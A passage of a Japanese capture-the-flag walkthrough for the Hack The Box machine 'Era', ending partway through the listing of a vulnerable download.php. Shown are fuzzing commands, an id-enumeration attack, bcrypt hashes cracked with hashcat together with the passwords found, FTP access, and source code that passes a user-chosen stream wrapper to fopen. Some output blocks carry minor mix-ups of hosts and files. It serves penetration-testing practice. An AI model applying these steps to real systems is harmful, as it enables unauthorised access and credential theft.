- 本記事の概要
- ポートスキャン
- anonymousユーザーでFTPログイン試行
- 名前解決のためのhostsファイル更新(1回目)
- Webアクセスできるファイル/ディレクトリ調査(1回目)
- Webアクセスできるサブドメイン調査
- 名前解決のためのhostsファイル更新(2回目)
- Webアクセスできるファイル/ディレクトリ調査(2回目)
- Webアクセスできるファイル/ディレクトリ調査(.phpのファジング)
- Webサイトの動作確認
- ファジングによるパラメータ送信
- ファイルダウンロードおよびファイル解析(データベースファイルの確認)
- hashcatを用いてハッシュ値解析(Blowfishハッシュアルゴリズムを解析)
- ericユーザーとyuriユーザーでWebサイトへのログイン試行
- ericユーザーとyuriユーザーでFTPログイン試行
- Webサイトのソースコード解析
- admin_ef01cab31aaユーザーでWebサイトへのログイン試行
- PHP拡張モジュール(ssh2.so)を用いたリバースシェル試行
- PHP拡張モジュール(ssh2.so)を用いたリバースシェル実行
- 特権昇格のための調査(SUIDなど)
- 特権昇格のための調査(pspy64s)
- 特権昇格の試行(バイナリファイルの入れ替え)
- elf-binary-signerを用いたバイナリファイルへの署名
- 【別解】既存の署名バイナリファイルを用いた署名
- [補足] Guided ModeのQA
- 関連記事(Hack The Box)
本記事の概要
Hack The BoxのLinuxサーバの難易度Mediumのマシンである「Era」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン
(2) anonymousユーザーでFTPログイン試行
(3) 名前解決のためのhostsファイル更新(1回目)
(4) Webアクセスできるファイル/ディレクトリ調査(1回目)
(5) Webアクセスできるサブドメイン調査
(6) 名前解決のためのhostsファイル更新(2回目)
(7) Webアクセスできるファイル/ディレクトリ調査(2回目)
(8) Webアクセスできるファイル/ディレクトリ調査(.phpのファジング)
(9) Webサイトの動作確認
(10) ファジングによるパラメータ送信
(11) ファイルダウンロードおよびファイル解析(データベースファイルの確認)
(12) hashcatを用いてハッシュ値解析(Blowfishハッシュアルゴリズムを解析)
(13) ericユーザーとyuriユーザーでWebサイトへのログイン試行
(14) ericユーザーとyuriユーザーでFTPログイン試行
(15) Webサイトのソースコード解析
(16) admin_ef01cab31aaユーザーでWebサイトへのログイン試行
(17) PHP拡張モジュール(ssh2.so)を用いたリバースシェル試行
(18) PHP拡張モジュール(ssh2.so)を用いたリバースシェル実行
(19) 特権昇格のための調査(SUIDなど)
(20) 特権昇格のための調査(pspy64s)
(21) 特権昇格の試行(バイナリファイルの入れ替え)
(22) elf-binary-signerを用いたバイナリファイルへの署名
(23) 【別解】既存の署名バイナリファイルを用いた署名
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン
(1) nmapコマンドを実行して、応答があるポート番号を確認する。FTP(21/tcp) やHTTP(80/tcp)のポートが応答がある。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.79
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-24 10:20 EST
Warning: 10.10.11.79 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.79
Host is up (0.23s latency).
Not shown: 48879 closed tcp ports (reset), 16654 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 285.20 ms 10.10.14.1
2 285.26 ms 10.10.11.79
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.09 secondsanonymousユーザーでFTPログイン試行
(1) FTPでアクセスし、anonymousユーザーでログインできるか確認する。
$ ftp 10.10.11.79
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:kali):
331 Please specify the password.
Password:
$ ftp 10.10.11.79
Connected to 10.10.11.79.
220 (vsFTPd 3.0.5)
Name (10.10.11.79:kali): anonymous ←「anonymous」を入力して[Enter]キーを押す。
331 Please specify the password.
Password: ←パスワードは何も入力せず[Enter] キーを押す。
530 Login incorrect.
ftp: Login failed名前解決のためのhostsファイル更新(1回目)
(1) ブラウザを用いて「http://10.10.11.79/」にアクセスすると、「http://era.htb/」にリダイレクトされる。
(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.79 era.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.79 era.htb」が出力されることを確認する。
(3) ブラウザを用いて「http://era.htb/」にアクセスすると、Webページが表示される。
Webアクセスできるファイル/ディレクトリ調査(1回目)
(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。
$ feroxbuster -u http://era.htb -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
301 GET 7l 12w 178c http://era.htb/js => http://era.htb/js/
301 GET 7l 12w 178c http://era.htb/css => http://era.htb/css/
200 GET 9l 9w 307c http://era.htb/js/html5element.js
200 GET 322l 639w 5547c http://era.htb/js/fancybox/jquery.fancybox.css
200 GET 226l 553w 6803c http://era.htb/js/jquery.nav.js
200 GET 205l 1368w 8097c http://era.htb/js/jquery.easing.1.3.js
200 GET 402l 1188w 11953c http://era.htb/js/wow.js
ーーー(省略)ーーー
(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。
$ gobuster dir -u http://era.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Era_80.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://era.htb/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/css (Status: 301) [Size: 178] [--> http://era.htb/css/]
/fonts (Status: 301) [Size: 178] [--> http://era.htb/fonts/]
/img (Status: 301) [Size: 178] [--> http://era.htb/img/]
/js (Status: 301) [Size: 178] [--> http://era.htb/js/]
Progress: 20478 / 20478 (100.00%)
===============================================================
Finished
===============================================================
(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になる結果はない。
$ sudo dirsearch -u http://era.htb/
ーーー(省略)ーーー
[10:47:48] Starting:
[10:47:59] 301 - 178B - /js -> http://era.htb/js/
[10:50:34] 301 - 178B - /css -> http://era.htb/css/
[10:50:51] 301 - 178B - /fonts -> http://era.htb/fonts/
[10:51:01] 301 - 178B - /img -> http://era.htb/img/
[10:51:08] 403 - 564B - /js/
Task Completed
(4) ffufを用いてアクセスできるURLを確認するが、特に気になる結果はない。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://era.htb/FUZZ" -ic
ーーー(省略)ーーー
[Status: 200, Size: 19493, Words: 3922, Lines: 447, Duration: 231ms]
img [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 272ms]
css [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 244ms]
js [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 227ms]
fonts [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 225ms]
[Status: 200, Size: 19493, Words: 3922, Lines: 447, Duration: 255ms]
:: Progress: [220546/220546] :: Job [1/1] :: 178 req/sec :: Duration: [7:59:16] :: Errors: 680 ::
Webアクセスできるサブドメイン調査
(1) ffufを用いてアクセスできるera.htbのサブドメインを調査すると、file.era.htbというサブドメインがあることが分かる。
$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ -H "Host: FFUZ.era.htb" -u http://era.htb -fs 154 -k
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://era.htb
:: Wordlist : FFUZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FFUZ.era.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
file [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 263ms]
:: Progress: [100000/100000] :: Job [1/1] :: 164 req/sec :: Duration: [0:11:15] :: Errors: 0 ::名前解決のためのhostsファイル更新(2回目)
(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.79 file.era.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.79 file.era.htb」が出力されることを確認する。
(2) ブラウザを用いて「http://file.era.htb/」にアクセスすると、Webページが表示される。
Webアクセスできるファイル/ディレクトリ調査(2回目)
(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。
$ feroxbuster -u http://file.era.htb -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
301 GET 7l 12w 178c http://file.era.htb/images => http://file.era.htb/images/
301 GET 7l 12w 178c http://file.era.htb/files => http://file.era.htb/files/
301 GET 7l 12w 178c http://file.era.htb/assets => http://file.era.htb/assets/
301 GET 7l 12w 178c http://file.era.htb/assets/css => http://file.era.htb/assets/css/
200 GET 135l 313w 3697c http://file.era.htb/images/careers
200 GET 178l 424w 5047c http://file.era.htb/assets/prive
200 GET 178l 424w 5047c http://file.era.htb/quote
200 GET 178l 424w 5047c http://file.era.htb/images/sc
200 GET 135l 313w 3697c http://file.era.htb/images/start
200 GET 185l 438w 5223c http://file.era.htb/order_status
200 GET 178l 424w 5047c http://file.era.htb/images/style_images
200 GET 178l 424w 5047c http://file.era.htb/images/at
200 GET 178l 424w 5047c http://file.era.htb/images/show
200 GET 178l 424w 5047c http://file.era.htb/images/school
200 GET 82l 200w 2347c http://file.era.htb/Properties
200 GET 178l 424w 5047c http://file.era.htb/schools
200 GET 185l 438w 5223c http://file.era.htb/Gallery
200 GET 178l 424w 5047c http://file.era.htb/advert
200 GET 135l 313w 3698c http://file.era.htb/assets/openads
ーーー(省略)ーーー
(2) dirsearchを用いてアクセスできるURLを確認すると、http://file.era.htb/login.phpやhttp://file.era.htb/register.phpなどのURLがあるため、PHPで作成されていることが分かる。
$ sudo dirsearch -u http://file.era.htb/
ーーー(省略)ーーー
[19:36:09] Starting:
[19:37:18] 403 - 564B - /.ht_wsr.txt
[19:37:18] 403 - 564B - /.htaccess.orig
[19:37:18] 403 - 564B - /.htaccess.bak1
[19:37:18] 403 - 564B - /.htaccess.save
[19:37:18] 403 - 564B - /.htaccess.sample
[19:37:18] 403 - 564B - /.htaccess_extra
[19:37:18] 403 - 564B - /.htaccess_orig
[19:37:18] 403 - 564B - /.htaccess_sc
[19:37:18] 403 - 564B - /.htaccessOLD2
[19:37:18] 403 - 564B - /.htm
[19:37:18] 403 - 564B - /.htaccessBAK
[19:37:18] 403 - 564B - /.htaccessOLD
[19:37:18] 403 - 564B - /.html
[19:37:18] 403 - 564B - /.httr-oauth
[19:37:18] 403 - 564B - /.htpasswds
[19:37:18] 403 - 564B - /.htpasswd_test
[19:38:59] 301 - 178B - /assets -> http://file.era.htb/assets/
[19:38:59] 403 - 564B - /assets/
[19:41:57] 302 - 0B - /download.php -> login.php
[19:42:09] 301 - 178B - /files -> http://file.era.htb/files/
[19:42:09] 403 - 564B - /files/cache/
[19:42:09] 403 - 564B - /files/
[19:42:10] 403 - 564B - /files/tmp/
[19:42:26] 403 - 564B - /images/
[19:42:26] 301 - 178B - /images -> http://file.era.htb/images/
[19:43:16] 200 - 9KB - /login.php
[19:43:24] 200 - 70B - /logout.php
[19:43:28] 200 - 34KB - /LICENSE
[19:43:35] 302 - 0B - /manage.php -> login.php
[19:44:33] 200 - 3KB - /register.php
[19:45:07] 302 - 0B - /upload.php -> login.php
Task Completed
Webアクセスできるファイル/ディレクトリ調査(.phpのファジング)
(1) ffufを用いて他にどのような.phpファイルにアクセスできるか確認すると、「http://file.era.htb/register.php」などへのアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。
$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://file.era.htb/FUZZ -e .php -fs 0,6765
ーーー(省略)ーーー
images [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 240ms]
register.php [Status: 200, Size: 3205, Words: 1094, Lines: 106, Duration: 916ms]
files [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 1138ms]
login.php [Status: 200, Size: 9214, Words: 3701, Lines: 327, Duration: 4930ms]
assets [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 643ms]
logout.php [Status: 200, Size: 70, Words: 6, Lines: 1, Duration: 213ms]
LICENSE [Status: 200, Size: 34524, Words: 1, Lines: 1, Duration: 860ms]
ーーー(省略)ーーー
Webサイトの動作確認
(1) ブラウザを用いて「http://file.era.htb/register.php」にアクセスして、任意のユーザー名とパスワードを入力してアカウントを作成する。
(2) 作成したアカウント情報を入力して、ログインする。
(3) ログインに成功すると、アップロードしたファイルを管理するWebサイトが表示される。
(4) 「Upload Files」をクリックして、任意のファイルをアップロードする。
(5) 参考までに、Burp Suiteでファイルアップロード時のリクエストデータを確認するが、特に気になる内容はない。
(6) アップロードが完了すると、ファイルダウンロード用のURLリンク(http://file.era.htb/download.php?id=XXX)が表示される。
(7) 表示されたファイルダウンロード用のURLリンク(http://file.era.htb/download.php?id=XXX)にアクセスして、ダウンロードアイコンをクリックするとファイルがダウンロードされる。
(8) 参考までに、Burp Suiteでファイルダウンロード用のURLリンク(http://file.era.htb/download.php?id=XXX)にアクセスした時の通信を確認する。idパラメータの値によってダウンロードするファイルを選択できると推測できる。
【リクエストデータ】
GET /download.php?id=480 HTTP/1.1
Host: file.era.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=i76i60bku90cf8sel2gdi9eroh
Upgrade-Insecure-Requests: 1
Priority: u=0, i
【レスポンスデータ】
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 02 Jan 2026 11:14:04 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 6363
<!DOCTYPE html>
<html lang="en">
<head>
ーーー(省略)ーーー
</head>
<body>
<div id="wrapper">
<div class="sidebar">
<div class="sidebar-logo">
<a href="index.php">
<img src="images/main.png" alt="Logo" />
</a>
</div>
<nav>
<ul>
<li><a href="manage.php"><i class="fas fa-folder"></i> Manage Files</a></li>
<li><a href="upload.php"><i class="fas fa-upload"></i> Upload Files</a></li>
<li><a href="reset.php"><i class="fas fa-shield-alt"></i> Update Security Questions</a></li>
<li><a href="logout.php"><i class="fas fa-sign-in-alt"></i> Sign Out</a></li>
</ul>
</nav>
</div>
<div class="main-content">
<main style="
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 80vh;
text-align: center;
padding: 2rem;
">
<h1>Your Download Is Ready!</h1>
<p>test.txt</p>
<div><a href="download.php?id=480&dl=true"><i class="fa fa-download fa-5x"></i></a></div>
</main>

ファジングによるパラメータ送信
(1) ffufコマンドを用いて「http://file.era.htb/download.php?id=XXX」のidパラメータの値を1から1000の間の値に変更してアクセスすると、今回テスト用にアップロードしたファイルの他にid=54とid=150にアクセスした時にレスポンスデータが異なることが分かる。
$ ffuf -w <(seq 1 1000) -u 'http://file.era.htb/download.php?id=FUZZ' -b 'PHPSESSID=i76i60bku90cf8sel2gdi9eroh' -fw 3161
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://file.era.htb/download.php?id=FUZZ
:: Wordlist : FUZZ: /proc/self/fd/11
:: Header : Cookie: PHPSESSID=i76i60bku90cf8sel2gdi9eroh
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 3161
________________________________________________
54 [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 4643ms]
150 [Status: 200, Size: 6366, Words: 2552, Lines: 222, Duration: 231ms]
480 [Status: 200, Size: 6363, Words: 2552, Lines: 222, Duration: 9705ms]
:: Progress: [1000/1000] :: Job [1/1] :: 2 req/sec :: Duration: [0:06:49] :: Errors: 644 ::ファイルダウンロードおよびファイル解析(データベースファイルの確認)
(1) ブラウザを用いて「http://file.era.htb/download.php?id=54」にアクセスして、ファイル(site-backup-30-08-24.zip)をダウンロードする。
(2) ブラウザを用いて「http://file.era.htb/download.php?id=150」にアクセスして、ファイル(signing.zip)をダウンロードする。
(3) ダウンロードしたファイル(site-backup-30-08-24.zip)を解凍すると、http://file.era.htb/のWebサイトのファイル一式のバックアップファイルであることが分かる。
$ unzip site-backup-30-08-24.zip
Archive: site-backup-30-08-24.zip
inflating: LICENSE
inflating: bg.jpg
creating: css/
inflating: css/main.css.save
inflating: css/main.css
inflating: css/fontawesome-all.min.css
inflating: css/noscript.css
creating: css/images/
extracting: css/images/overlay.png
inflating: download.php
inflating: filedb.sqlite
creating: files/
inflating: files/.htaccess
extracting: files/index.php
inflating: functions.global.php
inflating: index.php
inflating: initial_layout.php
inflating: layout.php
inflating: layout_login.php
inflating: login.php
inflating: logout.php
inflating: main.png
inflating: manage.php
inflating: register.php
inflating: reset.php
creating: sass/
creating: sass/layout/
inflating: sass/layout/_wrapper.scss
inflating: sass/layout/_footer.scss
inflating: sass/layout/_main.scss
inflating: sass/main.scss
creating: sass/base/
inflating: sass/base/_page.scss
inflating: sass/base/_reset.scss
inflating: sass/base/_typography.scss
creating: sass/libs/
inflating: sass/libs/_vars.scss
inflating: sass/libs/_vendor.scss
inflating: sass/libs/_functions.scss
inflating: sass/libs/_mixins.scss
inflating: sass/libs/_breakpoints.scss
inflating: sass/noscript.scss
creating: sass/components/
inflating: sass/components/_actions.scss
inflating: sass/components/_icons.scss
inflating: sass/components/_button.scss
inflating: sass/components/_icon.scss
inflating: sass/components/_list.scss
inflating: sass/components/_form.scss
inflating: screen-download.png
inflating: screen-login.png
inflating: screen-main.png
inflating: screen-manage.png
inflating: screen-upload.png
inflating: security_login.php
inflating: upload.php
creating: webfonts/
inflating: webfonts/fa-solid-900.eot
inflating: webfonts/fa-regular-400.ttf
inflating: webfonts/fa-regular-400.woff
inflating: webfonts/fa-solid-900.svg
inflating: webfonts/fa-solid-900.ttf
inflating: webfonts/fa-solid-900.woff
inflating: webfonts/fa-brands-400.ttf
extracting: webfonts/fa-regular-400.woff2
inflating: webfonts/fa-solid-900.woff2
inflating: webfonts/fa-regular-400.eot
inflating: webfonts/fa-regular-400.svg
inflating: webfonts/fa-brands-400.woff2
inflating: webfonts/fa-brands-400.woff
inflating: webfonts/fa-brands-400.eot
inflating: webfonts/fa-brands-400.svg
(4) ダウンロードしたファイル(site-backup-30-08-24.zip)を解凍すると、バイナリファイルにデジタル署名する際のファイルであることが分かる。
$ unzip signing.zip
Archive: signing.zip
inflating: key.pem
inflating: x509.genkey
(5) ダウンロードしたファイル(site-backup-30-08-24.zip)の中にデータベースファイルのタイプタイプを確認すると、SQLiteのデータベースファイルであることが分かる。
$ file filedb.sqlite
filedb.sqlite: SQLite 3.x database, last written using SQLite version 3037002, file counter 93, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 93
(6) データベースファイルに接続する。
$ sqlite3 filedb.sqlite
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite>
(7) データベースの中にあるテーブル一覧を表示すると、filesテーブルとusersテーブルの2つあることが分かる。
sqlite> .tables
files users
(8) usersテーブルの内容を確認すると、admin_ef01cab31aaユーザーなど6個のユーザーの名前とパスワードハッシュ値が保存されていることが分かる。
sqlite> SELECT * FROM users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
(9) データベースの接続を終了する。
sqlite> .quithashcatを用いてハッシュ値解析(Blowfishハッシュアルゴリズムを解析)
(1) データベースのusersテーブルに登録されていたパスワードハッシュ値をファイルに保存する。
vi hash.txt
【hash.txtの内容】
$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
(2) ブラウザを用いて「https://hashes.com/en/tools/hash_identifier」にアクセスし、パスワードハッシュ値を入力する。その後、「SUBMIT & IDENTIFY」をクリックする。
(3) ハッシュアルゴリズムが「bcrypt $2*$, Blowfish (Unix)」であることが分かる。
(4) 「https://hashcat.net/wiki/doku.php?id=example_hashes」でHash Modeの値を確認すると、「bcrypt $2*$, Blowfish (Unix)」のHash Modeは3200であることが分かる。
(5) hashcatを用いてハッシュ値を解析すると、ericユーザーのパスワードは「america」、yuriユーザーのパスワードは「mustang」であることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
ーーー(省略)ーーー
$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang
ーーー(省略)ーーー
ericユーザーとyuriユーザーでWebサイトへのログイン試行
(1) ブラウザを用いて「http://file.era.htb/login.php」にアクセスして、「ユーザー名:eric」と「パスワード:america」を入力してログインする。
(2) アップロードされたファイルがなく、他のWebページを確認しても特に気になる内容はない。
(3) ブラウザを用いて「http://file.era.htb/login.php」にアクセスして、「ユーザー名:yuri」と「パスワード:mustang」を入力してログインする。
(4) アップロードされたファイルがなく、他のWebページを確認しても特に気になる内容はない。
ericユーザーとyuriユーザーでFTPログイン試行
(1) FTPでericユーザーでログイン試行するが、ログインエラーのメッセージが表示される。
※Kali Linux上で以下のコマンドを実行する。
$ ftp eric@10.10.11.79
220 (vsFTPd 3.0.5)
530 Permission denied.
ftp: Login failed
(2) FTPでyuriユーザーでログイン試行し、ログインに成功する。
※Kali Linux上で以下のコマンドを実行する。
$ ftp yuri@10.10.11.79
→パスワード(mustang)を入力する。
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
(3) ディレクトリ/ファイルの一覧を確認すると、apache2_confとphp8.1_confのディレクトリがあることが分かる。
※FTPを用いてyuriユーザーで攻撃対象マシン(Era)上で以下のコマンドを実行する。
ftp> ls
229 Entering Extended Passive Mode (|||15931|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 apache2_conf
drwxr-xr-x 3 0 0 4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.
(4) apache2_confディレクトリ配下の内容を確認すると、各設定ファイルがあることが分かる。
※FTPを用いてyuriユーザーで攻撃対象マシン(Era)上で以下のコマンドを実行する。
ftp> ls apache2_conf/
229 Entering Extended Passive Mode (|||51102|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 1332 Dec 08 2024 000-default.conf
-rw-r--r-- 1 0 0 7224 Dec 08 2024 apache2.conf
-rw-r--r-- 1 0 0 222 Dec 13 2024 file.conf
-rw-r--r-- 1 0 0 320 Dec 08 2024 ports.conf
226 Directory send OK.
(5) php8.1_confディレクトリ配下の内容を確認すると、「ssh2.so」などPHP拡張モジュールがあることが分かる。
※FTPを用いてyuriユーザーで攻撃対象マシン(Era)上で以下のコマンドを実行する。
ftp> ls php8.1_conf/
229 Entering Extended Passive Mode (|||13823|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 build
-rw-r--r-- 1 0 0 35080 Dec 08 2024 calendar.so
-rw-r--r-- 1 0 0 14600 Dec 08 2024 ctype.so
-rw-r--r-- 1 0 0 190728 Dec 08 2024 dom.so
-rw-r--r-- 1 0 0 96520 Dec 08 2024 exif.so
-rw-r--r-- 1 0 0 174344 Dec 08 2024 ffi.so
-rw-r--r-- 1 0 0 7153984 Dec 08 2024 fileinfo.so
-rw-r--r-- 1 0 0 67848 Dec 08 2024 ftp.so
-rw-r--r-- 1 0 0 18696 Dec 08 2024 gettext.so
-rw-r--r-- 1 0 0 51464 Dec 08 2024 iconv.so
-rw-r--r-- 1 0 0 1006632 Dec 08 2024 opcache.so
-rw-r--r-- 1 0 0 121096 Dec 08 2024 pdo.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 pdo_sqlite.so
-rw-r--r-- 1 0 0 284936 Dec 08 2024 phar.so
-rw-r--r-- 1 0 0 43272 Dec 08 2024 posix.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 readline.so
-rw-r--r-- 1 0 0 18696 Dec 08 2024 shmop.so
-rw-r--r-- 1 0 0 59656 Dec 08 2024 simplexml.so
-rw-r--r-- 1 0 0 104712 Dec 08 2024 sockets.so
-rw-r--r-- 1 0 0 67848 Dec 08 2024 sqlite3.so
-rw-r--r-- 1 0 0 313912 Dec 08 2024 ssh2.so
-rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvmsg.so
-rw-r--r-- 1 0 0 14600 Dec 08 2024 sysvsem.so
-rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvshm.so
-rw-r--r-- 1 0 0 35080 Dec 08 2024 tokenizer.so
-rw-r--r-- 1 0 0 59656 Dec 08 2024 xml.so
-rw-r--r-- 1 0 0 43272 Dec 08 2024 xmlreader.so
-rw-r--r-- 1 0 0 51464 Dec 08 2024 xmlwriter.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 xsl.so
-rw-r--r-- 1 0 0 84232 Dec 08 2024 zip.so
ftp> get php8.1_conf
(6) 「https://www.php.net/manual/en/wrappers.ssh2.php」の内容を確認すると、ssh2.exec://で任意のOSコマンドを実行できることが分かる。
Webサイトのソースコード解析
(1) ダウンロードしたファイル(site-backup-30-08-24.zip)の中にdownload.phpを確認すると、ダウンロードする際の処理を確認できる。
※Kali Linux上で以下のコマンドを実行する。
$ cat download.php
<?php
require_once('functions.global.php');
require_once('layout.php');
function deliverMiddle_download($title, $subtitle, $content) {
return '
<main style="
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 80vh;
text-align: center;
padding: 2rem;
">
<h1>' . htmlspecialchars($title) . '</h1>
<p>' . htmlspecialchars($subtitle) . '</p>
<div>' . $content . '</div>
</main>
';
}
if (!isset($_GET['id'])) {
header('location: index.php'); // user loaded without requesting file by id
die();
}
if (!is_numeric($_GET['id'])) {
header('location: index.php'); // user requested non-numeric (invalid) file id
die();
}
$reqFile = $_GET['id'];
$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);
$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it
if (!$realFile) {
echo deliverTop("Era - Download");
echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");
echo deliverBottom();
} else {
$fileName = str_replace("files/", "", $fetched[0]);
// Allow immediate file download
if ($_GET['dl'] === "true") {
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
readfile($fetched[0]);
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
